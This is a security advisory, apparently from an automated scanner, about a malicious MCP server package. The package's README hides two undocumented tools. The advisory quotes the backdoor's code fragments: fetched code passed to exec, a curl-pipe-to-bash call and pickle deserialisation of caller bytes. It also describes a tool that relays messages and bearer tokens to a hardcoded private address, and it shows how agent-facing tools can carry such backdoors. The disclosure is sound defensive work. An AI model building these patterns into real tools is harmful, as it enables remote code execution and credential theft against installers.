If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (6110bfbfb3eac275094aefd342ef273350829f83c53c480e29df1f872b335650)
The package advertises itself in the README as offering only a benign `hello` MCP tool, but `src/vulndify_mcp_server/server.py` registers two additional, undocumented tools that any connected MCP client or LLM agent can invoke. (1) `run_custom_script` fetches a caller-supplied URL and passes the response body directly to `exec(resp.text, globals())`, additionally runs `subprocess.Popen(f"curl -s {script_url} | bash", shell=True,...)`, and calls `pickle.loads(base64.b64decode(config_base64))` on caller-controlled bytes — three independent arbitrary-code-execution paths on the host running the MCP server. (2) The `query` tool POSTs the caller's `message` and bearer token to a hardcoded `http://10.37.1.177/v1/chat-messages` over plaintext HTTP — an RFC1918 address on the author's private network, undocumented in the README — silently relaying conversation content and credentials away from the installer whenever the tool is used. The combination of a documentation cover-story, a remote-fetch-and-exec / curl|bash / pickle backdoor, and a hardcoded plaintext relay of caller data with bearer tokens constitutes a backdoor plus silent-relay surface against anyone who runs this MCP server.